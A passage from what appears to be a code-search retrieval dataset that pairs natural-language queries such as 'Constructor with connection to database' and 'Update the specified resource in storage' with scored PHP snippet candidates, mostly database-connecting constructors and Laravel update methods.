1;\n\t}", "title": "" }, { "docid": "030948c197b48494eb3699ab5a159077", "score": "0.5960798", "text": "public function authorize()\n {\n if (auth()->user()->isTester()) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "6591a49d0e95940c10607c8c0d3a3327", "score": "0.5953342", "text": "public function canCapture()\n {\n return !$this->isSheepDebugRequest($this->_getRequest()) && $this->canShowToolbar();\n }", "title": "" } ]
11ac864cd92ec6e2c59fa96f972bbca0
Constructor with connection to database
[ { "docid": "57bfc9ca559735b94fc9746cfb082a7b", "score": "0.0", "text": "public function __construct($db) {\n $this->_db = $db;\n }", "title": "" } ]
[ { "docid": "fbba9519c79ef73d2c80f173194e6bac", "score": "0.85465956", "text": "public function __construct(){\n\t\t$database = new Database();\n\t\t$db = $database->getConnection();\n $this->conn = $db;\n }", "title": "" }, { "docid": "e18b613d5242803c7d59a19b92d3b567", "score": "0.8484997", "text": "public function __construct() {\n // Making a connection with the database\n $database = new Database();\n $this->db = $database->getConnection();\n }", "title": "" }, { "docid": "2b5280e1b178ccb8550dfa37e0e0a7fa", "score": "0.84767365", "text": "public function __construct()\n {\n $connection = new Database();\n $this->_connection = $connection->getConnection();\n }", "title": "" }, { "docid": "f1cdc4e69a532829f1bb248cf1948d8c", "score": "0.8354221", "text": "public function __construct()\n {\n $this->db = ConnectionClass::conn();\n }", "title": "" }, { "docid": "a3fd1d3b8de56f20267bfb3557020b8e", "score": "0.82340217", "text": "function __construct()\n {\n $this->openDatabaseConnection();\n }", "title": "" }, { "docid": "a91ed21ec4a8c9e553ddffd199a5001e", "score": "0.82179093", "text": "function __construct() {\r\n $this->db = $this->getDatabase();\r\n }", "title": "" }, { "docid": "98441dba1e41e58ffc7eb56b79154db3", "score": "0.8204251", "text": "public function __construct()\n {\n $this->db = ConnectionSingleton::getInstance()->getConnection();\n }", "title": "" }, { "docid": "cab32b1df6fed70509f8d637f9a60282", "score": "0.8183574", "text": "public function __construct()\n {\n $this->conn = DatabaseConnection::getInstance()->getConnection();\n }", "title": "" }, { "docid": "cfc59f9e414790aee2ae71c46979b07b", "score": "0.81801295", "text": "public function __construct()\n {\n $dhb = new Connection();\n $this->db = $dhb->connect();\n }", "title": "" }, { "docid": "f89d827818d0752d1761ac0b0f7344e4", "score": "0.81729907", "text": "function __construct() {\n\t\t$this->dbConnection = new Database();\n\t}", "title": "" }, { "docid": "503bd0129552048cf978b80a9d0b7b28", "score": "0.8147293", "text": "public function __construct() {\n $this->db = new DatabaseQuery(new DatabaseConnection());\n }", "title": "" }, { "docid": "6c48f27e847f294b383920787c20c8a5", "score": "0.814358", "text": "public function __construct() {\n // CREATE NEW CONNECTION TO DATABASE\n $this->con = $this->newCon();\n }", "title": "" }, { "docid": "5814af7fdb1958f9108e2e22593b44a8", "score": "0.8138553", "text": "public function __construct() \n {\n // Sets the database connection\n // using the static method from the database class\n $this->_db = Database::init();\n }", "title": "" }, { "docid": "e2ae21de94b5b88eec5a4f7f9a0c2fb3", "score": "0.8132531", "text": "public function __construct(){\n $database = new Database;\n $this->database = $database->getConnection();\n }", "title": "" }, { "docid": "310b7a3ac84bfb9efe1bab35376b7539", "score": "0.8120212", "text": "public function __construct(){\n\t\t\t$this -> connect_to_db();\n\t\t}", "title": "" }, { "docid": "70d42e4f5e2327e18522f88e98bca761", "score": "0.8119115", "text": "public function __construct() {\n\t\t\t//connect to the database if not connected\n\t\t\tif (!$this->db) {\n\t\t\t\trequire_once \"resources/classes/database.php\";\n\t\t\t\t$database = new database;\n\t\t\t\t$database->connect();\n\t\t\t\t$this->db = $database->db;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6367239310aeaaa247f9706b96154373", "score": "0.81188", "text": "public function __construct()\r\n {\r\n $this->db = self::dbConnect();\r\n }", "title": "" }, { "docid": "8853abb22a8f78e4168d77127c596a51", "score": "0.80998236", "text": "function __construct() {\n $this->open_db_connection();\n }", "title": "" }, { "docid": "61eb3e5f4c6fbf397e33baaec16f782c", "score": "0.80950767", "text": "public function __construct()\n {\n $this->db = ConnectionSingleton::getInstance()->getConnexion();\n }", "title": "" }, { "docid": "9183543f2057d37577a9ab468aa546ec", "score": "0.8094675", "text": "function __construct()\n {\n $this->db = $this->Connect();\n }", "title": "" }, { "docid": "0832a18e3d3272932134b56256665c1b", "score": "0.8084701", "text": "function __construct() {\n\t\t$this->db = new Database(DB_TYPE, DB_HOST, DB_NAME, DB_USER, DB_PASS);\n\t\t\n\t}", "title": "" }, { "docid": "2baf81e0ff592ef117a941c8e8727665", "score": "0.8082854", "text": "public function __construct()\n {\n $this->db = Connection::get();\n }", "title": "" }, { "docid": "bba113c57f64cecae21c909b7ac58b05", "score": "0.8068599", "text": "public function __construct() {\r\n $this->conn = PersistentManager::getInstance()->get_connection();\r\n }", "title": "" }, { "docid": "413b54e5565f6d42f7c2ad8f5133eb89", "score": "0.8054928", "text": "public function __construct($db_connection='default')\r\n {\r\n $this->db = Database::instance($db_connection);\r\n }", "title": "" }, { "docid": "1cf8e0ab8a23f254221716bdf2658603", "score": "0.8054068", "text": "public function __construct($db){\n $this -> conn = $db;\n }", "title": "" }, { "docid": "522d33e56c0e03373d7e796b3740e0a0", "score": "0.80418414", "text": "function __construct() {\n $this->db= new Database(DB_TYPE, DB_HOST, DB_NAME, DB_USER, DB_PASS);\n }", "title": "" }, { "docid": "1991307e0246f4dc23eeed5ac0b7d476", "score": "0.8035437", "text": "function __construct()\n\t\t{\n\t\t\t$this->db = database::Conexion();\n\t\t}", "title": "" }, { "docid": "bbd7de88dac5f29172551ea1d9326106", "score": "0.8025954", "text": "function __construct(){\n\t\t\t$db = new DbConnect();\n\t\t\t$this->conn = $db->connect();\n\t\t}", "title": "" }, { "docid": "220bc0815d72105a1f96c627de9d9ba0", "score": "0.8008343", "text": "public function __construct($db){\n $this->conn = $db;\n $database = new Database();\n }", "title": "" }, { "docid": "32a4a67eeefd171dc1ab612ab0a655d0", "score": "0.8002101", "text": "public function __construct()\n {\n $this->dbconnection = $this->connection();\n }", "title": "" }, { "docid": "564872bd75bacbf625ef558a03a4d75b", "score": "0.7999575", "text": "public function __construct()\n {\n $this->m_conn = ConnectionCreator::CreateConnection($this->m_dbName, $this->m_host, $this->m_user, $this->m_password);\n }", "title": "" }, { "docid": "084f5235e1978f105373b8af8796aae9", "score": "0.79984766", "text": "function __construct() {\t\t\n\t\trequire_once 'db_connect.php';\n\t\t$db = db_connect::getInstance();\n\t\t$this->conn = $db->getConnection();\n }", "title": "" }, { "docid": "59851273c438e0c0ffdb741d1b94b00c", "score": "0.7992604", "text": "public function __construct()\n {\n\n /** connect to PDO here. */\n self::$_db = Database::get();\n }", "title": "" }, { "docid": "b89b29ebbfa825a73fe923ae82c62fcb", "score": "0.7970559", "text": "public function __construct()\n {\n $this->databaseConnection = (new DB())->getmyDB();\n }", "title": "" }, { "docid": "c3eb54bec43ebc34ee52f80f7ee0ec67", "score": "0.7968951", "text": "protected function __construct() {\n $this->connect(Config::DB_HOST, Config::DB_PORT, Config::DB_USER, Config::DB_PASS, Config::DB_NAME);\n // TODO instanciar a classe a partir do banco especificado\n $queries = \"PgSQLQueries\";\n $this->set_queries(new $queries);\n }", "title": "" }, { "docid": "fb7f288be9c4334f3225fcf1d7041174", "score": "0.7966629", "text": "public function __construct()\r\n {\r\n $db = new Cl_DBclass();\r\n $this->_con = $db->con;\r\n }", "title": "" }, { "docid": "1eff71bdbea102b143e8dcd65cbbffd8", "score": "0.7966104", "text": "public function __construct()\n {\n // using a services / DI framework or model here, we will simply create a connection in the constructor.\n $this->db = new DatabaseConnection();\n $this->initialise();\n }", "title": "" }, { "docid": "4c5c9acd299eff2098cefafae198e9c4", "score": "0.7957237", "text": "public function __construct() {\n\t\t$this->connect_db();\n\t}", "title": "" }, { "docid": "3fb992ee43d74dc786a93cca9d30b764", "score": "0.7956574", "text": "function __construct()\n {\n $this->conn = Database::connect();\n }", "title": "" }, { "docid": "1eae5a10c0bca5d164e28fb249771fd2", "score": "0.7955566", "text": "public function __construct()\r\n\t{\r\n\t\t$this->setDB(DbClass::getInstance());\r\n\t}", "title": "" }, { "docid": "8d65c00e511a4b6e7f11b20665310446", "score": "0.7952437", "text": "public function __construct($db) {\n $this->conn = $db;\n }", "title": "" }, { "docid": "c94d20f6023c61aba62451a2836a7bd8", "score": "0.79472905", "text": "public function __construct() {\n\t\t$this->database\t= Database::instance();\n\t}", "title": "" }, { "docid": "747389e344c14a6beebe4efe70e7a71f", "score": "0.79422706", "text": "public function __construct( ){\n\t\t$this->connection = new Conexao( );\n\t}", "title": "" }, { "docid": "a73d7b2511357798639373080649fbbe", "score": "0.79420114", "text": "function __construct() {\n require_once dirname(__FILE__) . '/DbConnect.php';\n // opening db connection\n $db = new DbConnect();\n $this->conn = $db->connect();\n }", "title": "" }, { "docid": "5014e7e15de88fccc06305bd4bec1509", "score": "0.79365665", "text": "function __construct (){\n\t\t\tparent::__construct();\n\t\t\t$this->_database = $this->db;\n\t\t}", "title": "" }, { "docid": "b2ad4a0e7ab49e85b5ba5fd200e01ad1", "score": "0.7933907", "text": "public function __construct() {\n $this->_db = new Database();\n }", "title": "" }, { "docid": "0a4bfec826e8298e9e62b73339a53f01", "score": "0.79238164", "text": "public function __construct($db) { \n\t\t\t$this->conn = $db;\n \t}", "title": "" }, { "docid": "29fe01aadc62dd610b8cc16e823734ca", "score": "0.7915134", "text": "function __construct() {\n $this -> open_db();\n }", "title": "" }, { "docid": "a301181e96e28ea8dc723bd064c63517", "score": "0.79140633", "text": "public function __construct($db) {\n $this->conn = $db;\n }", "title": "" }, { "docid": "9332eb650cb0b14af9f92db9a57906f3", "score": "0.79124296", "text": "public function __construct() {\n $this->_db = DB::getInstance();\n }", "title": "" }, { "docid": "277b2173abd88d85c76f948183b17405", "score": "0.7910659", "text": "function __construct() {\n //Initialize the database \n require_once dirname(__FILE__ . '/DbConnect.php');\n //Open db Connection\n try {\n $db = new DbConnect();\n $this->conn = $db->connect();\n } catch (Exception $ex) {\n $this::dbConnectError($ex->getCode());\n }\n }", "title": "" }, { "docid": "b7e8663d494ab07089c756c75f76feb7", "score": "0.79023606", "text": "function __construct() {\r\n\t\t$this->connBanco = new Db();\r\n\t}", "title": "" }, { "docid": "b7e8663d494ab07089c756c75f76feb7", "score": "0.79023606", "text": "function __construct() {\r\n\t\t$this->connBanco = new Db();\r\n\t}", "title": "" }, { "docid": "5165a19ee3c2ccb9917cccc406a29dd6", "score": "0.79002535", "text": "function __construct() {\n $connector = new DbConnection();\n $conn = $connector->connect(); \n }", "title": "" }, { "docid": "5f5681e2c4ca3cfceae9a53aad0e94d6", "score": "0.7898526", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "5f5681e2c4ca3cfceae9a53aad0e94d6", "score": "0.7898526", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "370da19a1f3861d4a033e0bb974d6d30", "score": "0.7890076", "text": "public function __construct($db) {\n $this->conn = $db;\n }", "title": "" }, { "docid": "370da19a1f3861d4a033e0bb974d6d30", "score": "0.7890076", "text": "public function __construct($db) {\n $this->conn = $db;\n }", "title": "" }, { "docid": "370da19a1f3861d4a033e0bb974d6d30", "score": "0.7890076", "text": "public function __construct($db) {\n $this->conn = $db;\n }", "title": "" }, { "docid": "999d0984502ec2e5164c4af7f08f6617", "score": "0.7887001", "text": "function __construct(){\n\t\t$db =new database();\t\n\t\t$this->con = $db->connect();\n\t}", "title": "" }, { "docid": "80fdf919defe801f7ab2094db20f88dc", "score": "0.7885785", "text": "public function __construct()\n {\n // Création d'une instance de DB.\n $this->db = new DB();\n }", "title": "" }, { "docid": "053d6ceb12fa9b5042452fedd672c063", "score": "0.78851", "text": "public function __construct() {\r\n $this->db = Database::connect();\r\n \r\n }", "title": "" }, { "docid": "6ce087d2b98a6b3d43c72a63d0ca6498", "score": "0.78825676", "text": "function __construct()\n {\n $this->db = new Database(DB_SERVER, DB_USER, DB_PASS, DB_DATABASE);\n }", "title": "" }, { "docid": "ed033658bbe6311898aaa67cb6ea59f0", "score": "0.78773457", "text": "public function __construct($db)\r\n {\r\n $this->conn = $db;\r\n }", "title": "" }, { "docid": "ed033658bbe6311898aaa67cb6ea59f0", "score": "0.78773457", "text": "public function __construct($db)\r\n {\r\n $this->conn = $db;\r\n }", "title": "" }, { "docid": "ed033658bbe6311898aaa67cb6ea59f0", "score": "0.78773457", "text": "public function __construct($db)\r\n {\r\n $this->conn = $db;\r\n }", "title": "" }, { "docid": "23cc2716ba6c7f4ff0e605b149eed0ed", "score": "0.78761625", "text": "function __construct() {\n\t\t$this->dbcon = new PDO( // PHP Data Objects:définit une interface pour accéder à une base de données depuis PHP. \n\t\t\t\"pgsql:dbname=$this->dbname;host=$this->dbhost\", //DSN:constitué par nom du pilote(DBMS)\n\t\t\t$this->dbuser,\n\t\t\t$this->dbpass\n\t\t);\n\t}", "title": "" }, { "docid": "a909e40b11cdc8dfd0d79f42ca212fcc", "score": "0.78755", "text": "public function __construct()\n {\n $this->db = Database::getInstance();\n }", "title": "" }, { "docid": "d817f0369425be7d746267b14bec79df", "score": "0.78725886", "text": "public function __construct()\n {\n $this->db = $this->connectDB();\n }", "title": "" }, { "docid": "f452011a508b1676e487c1d02abd9153", "score": "0.78701574", "text": "public function __construct() {\n $this->db = new Database;\n }", "title": "" }, { "docid": "e59d0ed780f360621f0cf1acfc92d92c", "score": "0.7864844", "text": "public function __construct($db){\n $this->connection = $db;\n }", "title": "" }, { "docid": "0c8714b5b801fac3c04e4eafd9b44a76", "score": "0.7860669", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "aebefbd7995f94452bdfd151b49524d6", "score": "0.7859449", "text": "public function __construct()\n {\n $this->db = Database::connect();\n }", "title": "" }, { "docid": "c559c3955f870a38393b221235f899a8", "score": "0.7859074", "text": "function __construct() {\n require_once 'Connect.php';\n // connecting to database\n $this->db = new Connect();\n $this->db->Connect();\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "4d68076df8ab8004982df4c2de6ecc57", "score": "0.78546596", "text": "public function __construct($db)\n {\n $this->conn = $db;\n }", "title": "" }, { "docid": "8be0d4ef220a392932c8272efa67ac0d", "score": "0.7854078", "text": "public function __construct(){\n // Open a database connection and store it\n $this->db = new PDO(DB_INFO, DB_USER, DB_PASS);\n }", "title": "" }, { "docid": "7c0dc7717fb905596da4990ddf8c2688", "score": "0.7851823", "text": "public function __construct($db) {\n\t\t$this->conn = $db;\n\t}", "title": "" }, { "docid": "13d8cdb11557454faf05916fb21ac1d5", "score": "0.78517556", "text": "public function __construct() {\n\t\t$this->db = PDOConnection::getInstance();\n\t}", "title": "" }, { "docid": "fa786993051c79c84c9e06d8e10e42ae", "score": "0.78453594", "text": "public function __construct() {\n if ($this->db === NULL) {\n // Load database configs\n $config = require BASE_PATH . '/config/database.php';\n\n $dbms = $config['dbms'];\n $host = $config['host'];\n $username = $config['username'];\n $password = $config['password'];\n $dbname = $config['dbname'];\n // Connect to database\n try {\n $this->db = new PDO(\"{$dbms}:host={$host};dbname={$dbname}\", $username, $password, null);\n // Set the PDO error mode to exception (details visit http://php.net/manual/en/pdo.setattribute.php)\n $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n // Encode UTF-8\n $this->db->exec(\"set names utf8\");\n } catch(PDOException $e) {\n exit (\"Connection failed: \" . $e->getMessage());\n }\n }\n }", "title": "" }, { "docid": "fc88ba6286d5a5bfce8023c068823382", "score": "0.7840688", "text": "public function __construct()\n\t{\n\t\t$this->db = Database::instance();\n\t}", "title": "" }, { "docid": "fc88ba6286d5a5bfce8023c068823382", "score": "0.7840688", "text": "public function __construct()\n\t{\n\t\t$this->db = Database::instance();\n\t}", "title": "" }, { "docid": "93c04758e482d67da0a1a2edeb34cf87", "score": "0.7838849", "text": "public function __construct()\r\n {\r\n $this->dbh = $this->connect();\r\n }", "title": "" }, { "docid": "fa8e8185070d8738ddb454db00135e7f", "score": "0.78364146", "text": "public function __construct()\n\t{\n\t\t$this->_db = new Db;\n\t}", "title": "" }, { "docid": "e811d0953c015325cf7a33e6949c2f3d", "score": "0.78234994", "text": "public function __construct()\r\n\t{\r\n\t\t$this->_db = DatabaseConnectivity::getInstance();\r\n\t}", "title": "" }, { "docid": "40f004a69cbcf1e19c78fb33ea20a605", "score": "0.7817951", "text": "public function __construct()\n {\n $pdo_ressource = new Database();\n $this->_db = $pdo_ressource->getCx();\n }", "title": "" }, { "docid": "76c5d2122ae879a6da11ea0b9dad037b", "score": "0.7817759", "text": "function __construct() {\n $this->casp_db = new Database(DB_NAME);\n }", "title": "" }, { "docid": "60e678ae30e1bb7b0efda48930563962", "score": "0.78150153", "text": "public function __construct()\n {\n $db = new Dbh();\n $this->db_conn = $db->connect();\n }", "title": "" }, { "docid": "0da31b2a4fc6f49bf60081f4f6fc00e2", "score": "0.78092766", "text": "public function __construct() {\n\n\t\t\t$pdo = new SQL_PDO();\n\t\t\t$this -> conn = $pdo -> get_conn();\n\n\t\t}", "title": "" }, { "docid": "5c9765cdb0e28f186e21e91fb03236e6", "score": "0.78060746", "text": "function __construct(){\n\t\tglobal $db;\n\n\t\t$this->_db = $db;\n\t}", "title": "" }, { "docid": "f084fbeb6787ccaf53bb7cb8b9367055", "score": "0.7803514", "text": "public function __construct($db) {\n\t\t\t$this->conn = $db;\n\t\t}", "title": "" }, { "docid": "07545292991dc3a48203963246e4377b", "score": "0.78034693", "text": "function __construct() {\n require_once 'DB_Connect.php';\n // connecting to database\n $db = new Db_Connect();\n $this->conn = $db->connect();\n }", "title": "" }, { "docid": "808589cd226bd728d021248b9cb1167f", "score": "0.7803225", "text": "public function __construct(){\n $this->transaction_status = false;\n $this->connect();\n self::$Database = $this;\n }", "title": "" }, { "docid": "7a765b1e5e5de956fd621e64fb874e3b", "score": "0.78005075", "text": "public function __construct()\n {\n $this->instance = DatabaseInstance::getInstance()->getConnection();\n }", "title": "" }, { "docid": "421c20ba4626f22ed9b1431461f3cb74", "score": "0.7797041", "text": "function __construct() {\n include_once './db_connect.php';\n // connecting to database\n $this->db = new DB_Connect();\n $this->conn = $this->db->connect();\n }", "title": "" }, { "docid": "d5b58fb74c2e1221da8d6253e35df205", "score": "0.7797034", "text": "public function __construct($db){\n $this->conn = $db;\n }", "title": "" } ]
a6d28bcfc1f5f0e5997ec3c010217bbe
Update the specified resource in storage.
[ { "docid": "4586998a17e3f15a43f003959d6ff7cb", "score": "0.0", "text": "public function update(Request $request, $id)\n {\n // Edit User\n $user = User::find($id);\n $user->name = $request->name;\n $user->email = $request->email;\n $user->street = $request->street;\n $user->city = $request->city;\n $user->state = $request->state;\n $user->zip = $request->zip;\n $user->phone = $request->phone;\n $user->gender = $request->gender;\n $user->dob = $request->dob;\n $user->student_id = $request->student_id;\n $user->unit_id = $request->unit_id;\n $user->save();\n }", "title": "" } ]
[ { "docid": "3e3a565a181db6f795f079d1dfb01f75", "score": "0.7099585", "text": "public function update(Resource $resource, $id)\n {\n //\n }", "title": "" }, { "docid": "bde449baf550552e043ec18452e05f5c", "score": "0.69665116", "text": "function update($resource, $content)\n {\n }", "title": "" }, { "docid": "23bd42dc38bca65e850c1b8f771c0f0f", "score": "0.6837518", "text": "public function update(ResourceInterface $resource)\n {\n $this->_em->flush($resource);\n }", "title": "" }, { "docid": "fb65b4f4d55e024e7f1613af273a55f2", "score": "0.6775597", "text": "public function update(Request $request, Resource $resource)\n {\n //Validate request\n $this->validate($request, [\n 'name' => 'required|max:255',\n 'url' => 'required|max:255',\n 'description' => 'required|max:10000',\n 'tags.*' => 'exists:tags,id',\n 'is_published' => 'required|boolean'\n ]);\n $resource_previous_unpublished = !$resource->is_published;\n //Create the resource\n $resource->update([\n 'name' => $request->name,\n 'url' => $request->url,\n 'description' => $request->description,\n 'is_published' => $request->is_published\n ]);\n //Drop the tags from the pivot table. Add the updated ones\n $resource->tags()->detach();\n //Add the tags for this resource to the pivot table\n $resource->tags()->attach($request->tags);\n $responseText = 'Resource updated';\n $responseText .= $resource_previous_unpublished && $request->is_published ? ' and published' : '';\n //Take them back to the resource form so they can add more resources\n return back()->with('success', $responseText);\n }", "title": "" }, { "docid": "61a34fcd66242862e9a967402e4ff514", "score": "0.6267246", "text": "private function updateResource($resource, $inputs )\n {\n \n // if(isset($inputs['category_id'])){\n // $model->categories()->sync($inputs['category_id']);\n // } else {\n // $model->categories()->sync([]);\n // }\n return $resource->update($inputs);\n\n }", "title": "" }, { "docid": "a4a8c199770b8cc35d56a67cd9297225", "score": "0.62659985", "text": "public function update($storageName, $key, array $data);", "title": "" }, { "docid": "4c22c400891589f8da5573f60cdc4ea0", "score": "0.61376035", "text": "public function update(Request $request, Resource $resource)\n {\n $validator = Validator::make($request->all(),[\n 'wbs' => 'required',\n 'tipo_recurso' => 'required',\n 'cantidad' => 'required',\n 'comentarios' => 'required',\n 'vision_estrategica' => 'required'\n\n ]);\n if ($validator->fails()) {\n return response()->json(['Error'],404);\n\n }else{\n $resource->wbs = $request->wbs;\n $resource->tipo_recurso = $request->tipo_recurso;\n $resource->cantidad = $request->cantidad;\n $resource->comentarios = $request->comentarios;\n $resource->vision_estrategica = $request->vision_estrategica;\n \n $resource->save();\n return response()->json($resource);\n }\n }", "title": "" }, { "docid": "cb421444658bf63523d9239cfdb2c091", "score": "0.6102644", "text": "public function update(StorageRequest $request, $id)\n {\n try {\n $this->service->updateStorage($request, $id);\n return $this->NoContent();\n } catch(EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "title": "" }, { "docid": "40c721acddd9f92cbdc47e322ae39955", "score": "0.60837495", "text": "public function update(Request $request, $id)\n {\n // dd($request->all());\n if($storage = Storage::find($id))\n {\n if( $storage->update( $request->all() ) )\n {\n if($request->storage_items)\n $storage->item()->sync($request->storage_items);\n else\n $storage->item()->sync([]);\n return redirect()->back();\n }\n }\n return redirect()->back();\n }", "title": "" }, { "docid": "fae18446ab6ba766002815d7efd6d0f2", "score": "0.60153604", "text": "public function updateStream($resource)\n {\n return $this->filesystem->updateStream($this->path, $resource);\n }", "title": "" }, { "docid": "1b397375316ae1351b5a50f45f20bc46", "score": "0.6000568", "text": "public function update(Request $request, $id)\n {\n if($request->session()->exists('resources')){\n $resources = $request->session()->get('resources');\n $idInput = $request->input('id');\n $nameInput = $request->input('name');\n $priceInput = $request->input('price');\n \n if(isset($resources[$id]) && (isset($resources[$idInput])==false || $idInput==$id)){\n // $resource = $resources[$id];\n $resource = ['id' => $idInput, 'name' => $nameInput, 'price' => $priceInput];\n unset($resources[$id]);\n $resources[$idInput]=$resource;\n $request->session()->put('resources', $resources);\n \n return redirect('resource')->with('message', 'Se editado el elemento correctamente');\n }\n \n }\n return back()->withInput();\n }", "title": "" }, { "docid": "1342fca6bb741918e9de91960e422b72", "score": "0.59302443", "text": "public function dispatchOnPostUpdateResource($resource);", "title": "" }, { "docid": "4c33901004c334e4edd8b45955f45ed2", "score": "0.5906145", "text": "public function sliderUpdate(SliderUpdateRequest $request, $id)\n {\n\n $slider=Slider::find($id);\n /* dd($service); */\n $input= $request->all();\n\n if($request->hasFile('image')) {\n if($request->image==$slider->image){\n $input['image']=$slider->image;\n }else{\n $fileName=$request->file('image')->store('slider','public');\n\n $input['image'] =$fileName;\n \n @unlink('storage/'.$slider->image);\n }\n } else {\n\n $input['image']=$slider->image;\n\n }\n $slider->update([\n 'title'=>$request->title,\n 'image'=>$input['image'],\n ]);\n /* dd($service); */\n\n return new SliderResource($slider);\n }", "title": "" }, { "docid": "9645d8e1c1b4d32587e5589c88868755", "score": "0.5878462", "text": "public function update(Request $request, $id)\n {\n $resource = Resource::find($id);\n $resource->fill($request->all());\n $resource->save();\n\n $resource->tags()->sync($request->tags);\n\n $message = 'El recurso literario \"' . $resource->title . '\" fue modificado.';\n $class = 'warning';\n\n Session::flash('message', $message);\n Session::flash('class', $class);\n\n return redirect()->route('admin.resources.index');\n }", "title": "" }, { "docid": "70f839d67344487e3780c8ca780ec59c", "score": "0.5876995", "text": "public function store(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "cc850ce20ed7c56b132541ba822c9777", "score": "0.5832923", "text": "public function update(Request $request, $id)\n {\n //\n $data = $request->all();\n $request->validate([\n 'title' => 'required|max:255',\n 'description' => 'required',\n 'resource' => 'file|mimes:pdf,doc,docx,xls,xlm,xla,xlc,xlt,xlw,ppt,pps,pot'\n ]);\n\n $eLibrary = ELibrary::findOrFail($id);\n\n /*Photo*/\n if($request->hasFile('resource') && $request->file('resource')->isValid()){\n $file = $request->file('resource');\n $filename = $data['title'] . '_' . time().'.'.$file->extension();\n $path = $file->storePubliclyAs('public/uploads/eLibrary',$filename);\n if($eLibrary->path) {\n if (Storage::exists($eLibrary->path)) Storage::delete($eLibrary->path);\n }\n $data['path'] = $path;\n }\n if($eLibrary->update($data)){\n Session::flash('alert-success',\"The E-Library resource '$eLibrary->title' has been updated\");\n }else{\n Session::flash('alert-danger',\"The E-Library resource '$eLibrary->title' could not be updated. Please contact support.\");\n }\n return redirect('admin/eLibrary');\n }", "title": "" }, { "docid": "3ebf4ac6712058cf5111ea2fb1b3f69d", "score": "0.5789821", "text": "public function updateStream($path, $resource, Config $config)\n {\n $this->delete($path);\n\n return $this->writeStream($path, $resource, $config);\n }", "title": "" }, { "docid": "3ec7c5a8877f8c46b7760a665414271c", "score": "0.5738682", "text": "public function update(Request $request, int $id)\n {\n $data = $request->except(\"image\");\n $product = $this->product->findOrFail($id);\n if($request->hasFile(\"image\") && $request->image->isValid()){\n Storage::delete($product->image);\n $data[\"image\"] = $request->image->store(\"products/\".$request->name);\n }\n $product->update($data);\n return redirect()->route(\"products.index\");\n }", "title": "" }, { "docid": "7fa7323735ca22c15cfa4866e023dcb7", "score": "0.57337505", "text": "public function setResource($resource);", "title": "" }, { "docid": "1a87e148e066a4886de60512f8e08a52", "score": "0.57288736", "text": "public function update(ShareRequest $request, $id)\n {\n $share = Share::find($id);\n $share->share_name = $request->get('share_name');\n $share->share_price = $request->get('share_price');\n $share->share_qty = $request->get('share_qty');\n $share->save();\n if ($share->image) {\n unlink(public_path('storage/') . $share->image);\n }\n $this->storeImage($share);\n return redirect('/shares')->with('success', 'Stock has been updated');\n }", "title": "" }, { "docid": "e298ed6e92031fa9134c5a6ed2507d24", "score": "0.5691853", "text": "public function update($object);", "title": "" }, { "docid": "e298ed6e92031fa9134c5a6ed2507d24", "score": "0.5691853", "text": "public function update($object);", "title": "" }, { "docid": "d55f58a252de4e09d616136ab381ea2d", "score": "0.5689798", "text": "public function update(Request $request, $id)\n {\n $request->validate([\n 'group_id'=>'exists:groups,id|integer',\n 'name'=>'required|min:1|max:16|unique:resources,name,'.$id,\n 'description'=> 'max:255'\n ]);\n\n $resource = Resource::find($id);\n $resource->group_id = $request->get('group_id');\n $resource->name = $request->get('name');\n $resource->description = $request->get('description');\n $resource->save();\n\n return redirect('/resources')->with('success', 'Resource has been updated');\n }", "title": "" }, { "docid": "09f959fbad30c2f941ea086cc7dad93f", "score": "0.56853646", "text": "public function update(ProductUpdateRequest $request, $id)\n {\n $product = Product::find($id);\n $product->fill($request->all())->save();\n if($request->file('image')){\n $path = Storage::disk('public')->put('image', $request->file('image'));\n $product->fill(['file' => asset($path)])->save();\n } \n return redirect()->route('products.edit', \n $product->id)->with('info', 'Info de product actualizada con éxito');\n }", "title": "" }, { "docid": "e6fb42d6286b3f4fe6f14fab49db4173", "score": "0.56730545", "text": "public function update(Request $request, $id)\n {\n if($request->has('new_image')) {\n\n $product = Product::where('id',$id)->first(); \n\n $old_image = $product->image;\n unlink($old_image);\n\n\n $file = $request->file('new_image');\n $name = Str::random(10);\n $url = \\Storage::putFileAs('images',$file, $name . '.' .$file->extension());\n\n $data = array();\n $data['name'] = $request->name;\n $data['price'] = $request->price;\n $data['image'] = $url;\n\n $update = DB::table('products')->where('id',$id)->update($data);\n\n\n\n } else {\n $product = Product::find($id);\n $product->update($request->only('name','price'));\n }\n\n return redirect()->back()->with(\"status\",\"Successfully Updated\");\n\n\n\n }", "title": "" }, { "docid": "97e4ce8ade6b1dc2b2b25f72334eb18d", "score": "0.5636433", "text": "public function dispatchOnPreUpdateResource($resource);", "title": "" }, { "docid": "bba4992ee37e44374ffa661fa659a09a", "score": "0.56323135", "text": "public function update (EntityInterface $entity);", "title": "" }, { "docid": "318b6ff187eaf08454a3d0857e9aca4d", "score": "0.56295455", "text": "public function updateStream($path, $resource, array $config)\r\n\t{\r\n\t\t$res = $this->cloudDrive->uploadStream($resource, $path, true);\r\n\r\n\t\treturn 